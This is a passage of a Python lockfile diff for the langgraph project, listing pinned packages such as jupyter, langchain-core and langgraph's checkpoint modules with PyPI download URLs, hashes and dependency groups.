"https://files.pythonhosted.org/packages/aa/3d/48a7baa2373b941e89a12e720dae123fd0a663c28c4e82213a29c89a4715/jsonschema_rs-0.29.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:c38453a5718bcf2ad1b0163d128814c12829c45f958f9407c69009d8b94a1232", size = 1966084, upload-time = "2025-02-08T21:24:33.8Z" }, + { url = "https://files.pythonhosted.org/packages/1e/e4/f260917a17bb28bb1dec6fa5e869223341fac2c92053aa9bd23c1caaefa0/jsonschema_rs-0.29.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5dc8bdb1067bf4f6d2f80001a636202dc2cea027b8579f1658ce8e736b06557f", size = 2062430, upload-time = "2025-02-08T21:24:35.174Z" }, + { url = "https://files.pythonhosted.org/packages/f5/e7/61353403b76768601d802afa5b7b5902d52c33d1dd0f3159aafa47463634/jsonschema_rs-0.29.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4bcfe23992623a540169d0845ea8678209aa2fe7179941dc7c512efc0c2b6b46", size = 2065443, upload-time = "2025-02-08T21:24:36.778Z" }, + { url = "https://files.pythonhosted.org/packages/40/ed/40b971a09f46a22aa956071ea159413046e9d5fcd280a5910da058acdeb2/jsonschema_rs-0.29.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f2a526c0deacd588864d3400a0997421dffef6fe1df5cfda4513a453c01ad42", size = 2082606, upload-time = "2025-02-08T21:24:38.388Z" }, + { url = "https://files.pythonhosted.org/packages/bc/59/1c142e1bfb87d57c18fb189149f7aa8edf751725d238d787015278b07600/jsonschema_rs-0.29.1-cp313-cp313-win32.whl", hash = "sha256:68acaefb54f921243552d15cfee3734d222125584243ca438de4444c5654a8a3", size = 1700666, upload-time = "2025-02-08T21:24:40.573Z" }, + { url = "https://files.pythonhosted.org/packages/13/e8/f0ad941286cd350b879dd2b3c848deecd27f0b3fbc0ff44f2809ad59718d/jsonschema_rs-0.29.1-cp313-cp313-win_amd64.whl", hash = "sha256:1c4e5a61ac760a2fc3856a129cc84aa6f8fba7b9bc07b19fe4101050a8ecc33c", size = 1871619, upload-time = "2025-02-08T21:24:42.286Z" }, +] + +[[package]] +name = "jsonschema-specifications" +version = "2025.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "referencing" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" }, +] + +[[package]] +name = "jupyter" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ipykernel" }, + { name = "ipywidgets" }, + { name = "jupyter-console" }, + { name = "jupyterlab" }, + { name = "nbconvert" }, + { name = "notebook" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/58/f3/af28ea964ab8bc1e472dba2e82627d36d470c51f5cd38c37502eeffaa25e/jupyter-1.1.1.tar.gz", hash = "sha256:d55467bceabdea49d7e3624af7e33d59c37fff53ed3a350e1ac957bed731de7a", size = 5714959, upload-time = "2024-08-30T07:15:48.299Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/64/285f20a31679bf547b75602702f7800e74dbabae36ef324f716c02804753/jupyter-1.1.1-py2.py3-none-any.whl", hash = "sha256:7a59533c22af65439b24bbe60373a4e95af8f16ac65a6c00820ad378e3f7cc83", size = 2657, upload-time = "2024-08-30T07:15:47.045Z" }, +] + +[[package]] +name = "jupyter-client" +version = "8.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jupyter-core" }, + { name = "python-dateutil" }, + { name = "pyzmq" }, + { name = "tornado" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/05/e4/ba649102a3bc3fbca54e7239fb924fd434c766f855693d86de0b1f2bec81/jupyter_client-8.8.0.tar.gz", hash = "sha256:d556811419a4f2d96c869af34e854e3f059b7cc2d6d01a9cd9c85c267691be3e", size = 348020, upload-time = "2026-01-08T13:55:47.938Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2d/0b/ceb7694d864abc0a047649aec263878acb9f792e1fec3e676f22dc9015e3/jupyter_client-8.8.0-py3-none-any.whl", hash = "sha256:f93a5b99c5e23a507b773d3a1136bd6e16c67883ccdbd9a829b0bbdb98cd7d7a", size = 107371, upload-time = "2026-01-08T13:55:45.562Z" }, +] + +[[package]] +name = "jupyter-console" +version = "6.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ipykernel" }, + { name = "ipython", version = "8.38.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "ipython", version = "9.9.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "jupyter-client" }, + { name = "jupyter-core" }, + { name = "prompt-toolkit" }, + { name = "pygments" }, + { name = "pyzmq" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bd/2d/e2fd31e2fc41c14e2bcb6c976ab732597e907523f6b2420305f9fc7fdbdb/jupyter_console-6.6.3.tar.gz", hash = "sha256:566a4bf31c87adbfadf22cdf846e3069b59a71ed5da71d6ba4d8aaad14a53539", size = 34363, upload-time = "2023-03-06T14:13:31.02Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/77/71d78d58f15c22db16328a476426f7ac4a60d3a5a7ba3b9627ee2f7903d4/jupyter_console-6.6.3-py3-none-any.whl", hash = "sha256:309d33409fcc92ffdad25f0bcdf9a4a9daa61b6f341177570fdac03de5352485", size = 24510, upload-time = "2023-03-06T14:13:28.229Z" }, +] + +[[package]] +name = "jupyter-core" +version = "5.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "platformdirs" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/02/49/9d1284d0dc65e2c757b74c6687b6d319b02f822ad039e5c512df9194d9dd/jupyter_core-5.9.1.tar.gz", hash = "sha256:4d09aaff303b9566c3ce657f580bd089ff5c91f5f89cf7d8846c3cdf465b5508", size = 89814, upload-time = "2025-10-16T19:19:18.444Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/e7/80988e32bf6f73919a113473a604f5a8f09094de312b9d52b79c2df7612b/jupyter_core-5.9.1-py3-none-any.whl", hash = "sha256:ebf87fdc6073d142e114c72c9e29a9d7ca03fad818c5d300ce2adc1fb0743407", size = 29032, upload-time = "2025-10-16T19:19:16.783Z" }, +] + +[[package]] +name = "jupyter-events" +version = "0.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonschema", extra = ["format-nongpl"] }, + { name = "packaging" }, + { name = "python-json-logger" }, + { name = "pyyaml" }, + { name = "referencing" }, + { name = "rfc3339-validator" }, + { name = "rfc3986-validator" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9d/c3/306d090461e4cf3cd91eceaff84bede12a8e52cd821c2d20c9a4fd728385/jupyter_events-0.12.0.tar.gz", hash = "sha256:fc3fce98865f6784c9cd0a56a20644fc6098f21c8c33834a8d9fe383c17e554b", size = 62196, upload-time = "2025-02-03T17:23:41.485Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e2/48/577993f1f99c552f18a0428731a755e06171f9902fa118c379eb7c04ea22/jupyter_events-0.12.0-py3-none-any.whl", hash = "sha256:6464b2fa5ad10451c3d35fabc75eab39556ae1e2853ad0c0cc31b656731a97fb", size = 19430, upload-time = "2025-02-03T17:23:38.643Z" }, +] + +[[package]] +name = "jupyter-lsp" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jupyter-server" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/5a/9066c9f8e94ee517133cd98dba393459a16cd48bba71a82f16a65415206c/jupyter_lsp-2.3.0.tar.gz", hash = "sha256:458aa59339dc868fb784d73364f17dbce8836e906cd75fd471a325cba02e0245", size = 54823, upload-time = "2025-08-27T17:47:34.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1a/60/1f6cee0c46263de1173894f0fafcb3475ded276c472c14d25e0280c18d6d/jupyter_lsp-2.3.0-py3-none-any.whl", hash = "sha256:e914a3cb2addf48b1c7710914771aaf1819d46b2e5a79b0f917b5478ec93f34f", size = 76687, upload-time = "2025-08-27T17:47:33.15Z" }, +] + +[[package]] +name = "jupyter-server" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "argon2-cffi" }, + { name = "jinja2" }, + { name = "jupyter-client" }, + { name = "jupyter-core" }, + { name = "jupyter-events" }, + { name = "jupyter-server-terminals" }, + { name = "nbconvert" }, + { name = "nbformat" }, + { name = "overrides", marker = "python_full_version < '3.12'" }, + { name = "packaging" }, + { name = "prometheus-client" }, + { name = "pywinpty", marker = "os_name == 'nt'" }, + { name = "pyzmq" }, + { name = "send2trash" }, + { name = "terminado" }, + { name = "tornado" }, + { name = "traitlets" }, + { name = "websocket-client" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6b/dc/db3a582633170186f8c8b31298d7eb26ad0eb031a1f53476c258b64eed05/jupyter_server-2.20.0.tar.gz", hash = "sha256:b5778ba337d8015a3dc2b80803ecdd5ac18d3797fddf61a50ea5fb472b4ebe14", size = 756523, upload-time = "2026-06-17T12:09:09.435Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f3/71/8c002223e873a870f5c41dc69b0a7c922301123e4a31d5d01ecb700aef77/jupyter_server-2.20.0-py3-none-any.whl", hash = "sha256:c3b67c93c471e947c18b5026f04f21614218adb706df8f48227d3ee8e0a7cdcc", size = 393143, upload-time = "2026-06-17T12:09:07.234Z" }, +] + +[[package]] +name = "jupyter-server-terminals" +version = "0.5.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pywinpty", marker = "os_name == 'nt'" }, + { name = "terminado" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/a7/bcd0a9b0cbba88986fe944aaaf91bfda603e5a50bda8ed15123f381a3b2f/jupyter_server_terminals-0.5.4.tar.gz", hash = "sha256:bbda128ed41d0be9020349f9f1f2a4ab9952a73ed5f5ac9f1419794761fb87f5", size = 31770, upload-time = "2026-01-14T16:53:20.213Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/2d/6674563f71c6320841fc300911a55143925112a72a883e2ca71fba4c618d/jupyter_server_terminals-0.5.4-py3-none-any.whl", hash = "sha256:55be353fc74a80bc7f3b20e6be50a55a61cd525626f578dcb66a5708e2007d14", size = 13704, upload-time = "2026-01-14T16:53:18.738Z" }, +] + +[[package]] +name = "jupyterlab" +version = "4.5.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "async-lru" }, + { name = "httpx" }, + { name = "ipykernel" }, + { name = "jinja2" }, + { name = "jupyter-core" }, + { name = "jupyter-lsp" }, + { name = "jupyter-server" }, + { name = "jupyterlab-server" }, + { name = "notebook-shim" }, + { name = "packaging" }, + { name = "setuptools" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, + { name = "tornado" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e8/52/a8d4895bef501ffeb6af448e8bf7079541c7772978211963aa653518c2d9/jupyterlab-4.5.9.tar.gz", hash = "sha256:dd79a073fecae7a39066ea99e4627ed6c76269ac926e95a810e1e1df6358d865", size = 23994445, upload-time = "2026-06-17T15:42:16.406Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/bb/2f9b425062416fba58f580c9b89c3b07277ccdf0a292501fedbca8ea00ea/jupyterlab-4.5.9-py3-none-any.whl", hash = "sha256:5ff0f908e8ac0afbed32b106fdef360f101c0a6654d1bf4a81e98a293ae1b336", size = 12449803, upload-time = "2026-06-17T15:42:12.18Z" }, +] + +[[package]] +name = "jupyterlab-pygments" +version = "0.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/90/51/9187be60d989df97f5f0aba133fa54e7300f17616e065d1ada7d7646b6d6/jupyterlab_pygments-0.3.0.tar.gz", hash = "sha256:721aca4d9029252b11cfa9d185e5b5af4d54772bb8072f9b7036f4170054d35d", size = 512900, upload-time = "2023-11-23T09:26:37.44Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/dd/ead9d8ea85bf202d90cc513b533f9c363121c7792674f78e0d8a854b63b4/jupyterlab_pygments-0.3.0-py3-none-any.whl", hash = "sha256:841a89020971da1d8693f1a99997aefc5dc424bb1b251fd6322462a1b8842780", size = 15884, upload-time = "2023-11-23T09:26:34.325Z" }, +] + +[[package]] +name = "jupyterlab-server" +version = "2.28.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "babel" }, + { name = "jinja2" }, + { name = "json5" }, + { name = "jsonschema" }, + { name = "jupyter-server" }, + { name = "packaging" }, + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d6/2c/90153f189e421e93c4bb4f9e3f59802a1f01abd2ac5cf40b152d7f735232/jupyterlab_server-2.28.0.tar.gz", hash = "sha256:35baa81898b15f93573e2deca50d11ac0ae407ebb688299d3a5213265033712c", size = 76996, upload-time = "2025-10-22T13:59:18.37Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/07/a000fe835f76b7e1143242ab1122e6362ef1c03f23f83a045c38859c2ae0/jupyterlab_server-2.28.0-py3-none-any.whl", hash = "sha256:e4355b148fdcf34d312bbbc80f22467d6d20460e8b8736bf235577dd18506968", size = 59830, upload-time = "2025-10-22T13:59:16.767Z" }, +] + +[[package]] +name = "jupyterlab-widgets" +version = "3.0.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/26/2d/ef58fed122b268c69c0aa099da20bc67657cdfb2e222688d5731bd5b971d/jupyterlab_widgets-3.0.16.tar.gz", hash = "sha256:423da05071d55cf27a9e602216d35a3a65a3e41cdf9c5d3b643b814ce38c19e0", size = 897423, upload-time = "2025-11-01T21:11:29.724Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/b5/36c712098e6191d1b4e349304ef73a8d06aed77e56ceaac8c0a306c7bda1/jupyterlab_widgets-3.0.16-py3-none-any.whl", hash = "sha256:45fa36d9c6422cf2559198e4db481aa243c7a32d9926b500781c830c80f7ecf8", size = 914926, upload-time = "2025-11-01T21:11:28.008Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph" +version = "1.2.9" +source = { editable = "." } +dependencies = [ + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-prebuilt" }, + { name = "langgraph-sdk" }, + { name = "pydantic" }, + { name = "xxhash" }, +] + +[package.dev-dependencies] +dev = [ + { name = "httpx" }, + { name = "jupyter" }, + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite" }, + { name = "langgraph-cli", extra = ["inmem"], marker = "python_full_version < '3.14'" }, + { name = "langgraph-prebuilt" }, + { name = "langgraph-sdk" }, + { name = "psycopg", extra = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extra = ["psutil"] }, + { name = "redis" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, + { name = "types-requests" }, + { name = "uvloop" }, +] +lint = [ + { name = "ruff" }, + { name = "ty" }, + { name = "types-requests" }, +] +test = [ + { name = "httpx" }, + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite" }, + { name = "langgraph-cli", extra = ["inmem"], marker = "python_full_version < '3.14'" }, + { name = "langgraph-prebuilt" }, + { name = "langgraph-sdk" }, + { name = "psycopg", extra = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extra = ["psutil"] }, + { name = "redis" }, + { name = "syrupy" }, + { name = "uvloop" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=1.4.7,<2" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-prebuilt", editable = "../prebuilt" }, + { name = "langgraph-sdk", editable = "../sdk-py" }, + { name = "pydantic", specifier = ">=2.7.4" }, + { name = "xxhash", specifier = ">=3.5.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "httpx" }, + { name = "jupyter" }, + { name = "langchain-core", specifier = ">=1.0.0" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "langgraph-cli", marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-cli", extras = ["inmem"], marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-prebuilt", editable = "../prebuilt" }, + { name = "langgraph-sdk", editable = "../sdk-py" }, + { name = "psycopg", extras = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extras = ["psutil"] }, + { name = "redis" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, + { name = "types-requests" }, + { name = "uvloop", specifier = "==0.22.1" }, +] +lint = [ + { name = "ruff" }, + { name = "ty" }, + { name = "types-requests" }, +] +test = [ + { name = "httpx" }, + { name = "langchain-core", specifier = ">=1.0.0" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "langgraph-cli", marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-cli", extras = ["inmem"], marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-prebuilt", editable = "../prebuilt" }, + { name = "langgraph-sdk", editable = "../sdk-py" }, + { name = "psycopg", extras = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extras = ["psutil"] }, + { name = "redis" }, + { name = "syrupy" }, + { name = "uvloop", specifier = "==0.22.1" }, +] + +[[package]] +name = "langgraph-api" +version = "0.10.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cloudpickle", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "cryptography", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "grpcio", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "grpcio-health-checking", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "grpcio-tools", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "httptools", marker = "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'" }, + { name = "httpx", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "jsonschema-rs", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langchain-core", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langchain-protocol", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph-checkpoint", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph-sdk", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langsmith", extra = ["otel"], marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-exporter-otlp-proto-http", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-sdk", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "orjson", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "protobuf", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "pyjwt", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "sse-starlette", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "starlette", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "structlog", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "tenacity", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "truststore", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "uuid-utils", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "uvicorn", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "uvloop", marker = "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'" }, + { name = "watchfiles", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "websockets", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "zstandard", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7d/17/a23ecdad3de7e48209bc8d534312ba83e332126ec60da9e6487461b02597/langgraph_api-0.10.0.tar.gz", hash = "sha256:f594a160857e2cd7fb2352bba585111177a4a394625ad0cf5898814754fb7bc1", size = 713903, upload-time = "2026-06-11T14:36:50.469Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/38/6b0cdcaaed9b3105102b452a5a70fb08894a9511458cf00c061c4725347c/langgraph_api-0.10.0-py3-none-any.whl", hash = "sha256:f4b545bf1936c4e90bed1cc07a6852b1be37e1667007ab4736d800cc18e9f9b3", size = 577475, upload-time = "2026-06-11T14:36:48.838Z" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "../checkpoint" } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langgraph-checkpoint-postgres" +version = "3.1.0" +source = { editable = "../checkpoint-postgres" } +dependencies = [ + { name = "langgraph-checkpoint" }, + { name = "orjson" }, + { name = "psycopg" }, + { name = "psycopg-pool" }, +] + +[package.metadata] +requires-dist = [ + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "orjson", specifier = ">=3.11.5" }, + { name = "psycopg", specifier = ">=3.2.0" }, + { name = "psycopg-pool", specifier = ">=3.2.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "anyio" }, + { name = "codespell" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "psycopg", extras = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "anyio" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "psycopg", extras = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, +] + +[[package]] +name = "langgraph-checkpoint-sqlite" +version = "3.1.0" +source = { editable = "../checkpoint-sqlite" } +dependencies = [ + { name = "aiosqlite" }, + { name = "langgraph-checkpoint" }, + { name = "sqlite-vec" }, +] + +[package.metadata] +requires-dist = [ + { name = "aiosqlite", specifier = ">=0.20" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "sqlite-vec", specifier = ">=0.1.6" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry", specifier = ">=1.7.0" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry", specifier = ">=1.7.0" }, + { name = "pytest-watcher" }, +] + +[[package]] +name = "langgraph-cli" +source = { editable = "../cli" } +dependencies = [ + { name = "click", marker = "python_full_version < '3.14'" }, + { name = "httpx", marker = "python_full_version < '3.14'" }, + { name = "langgraph-sdk", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "pathspec", marker = "python_full_version < '3.14'" }, + { name = "python-dotenv", marker = "python_full_version < '3.14'" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] + +[package.optional-dependencies] +inmem = [ + { name = "langgraph-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] + +[package.metadata] +requires-dist = [ + { name = "click", specifier = ">=8.1.7" }, + { name = "httpx", specifier = ">=0.24.0" }, + { name = "langgraph-api", marker = "python_full_version >= '3.11' and extra == 'inmem'", specifier = ">=0.5.35,<1.0.0" }, + { name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11' and extra == 'inmem'", specifier = ">=0.7" }, + { name = "langgraph-sdk", marker = "python_full_version >= '3.11'", specifier = ">=0.1.0" }, + { name = "pathspec", specifier = ">=0.11.0" }, + { name = "python-dotenv", specifier = ">=0.8.0" }, + { name = "tomli", marker = "python_full_version < '3.11'", specifier = ">=2.0.1" }, +] +provides-extras = ["inmem"] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, 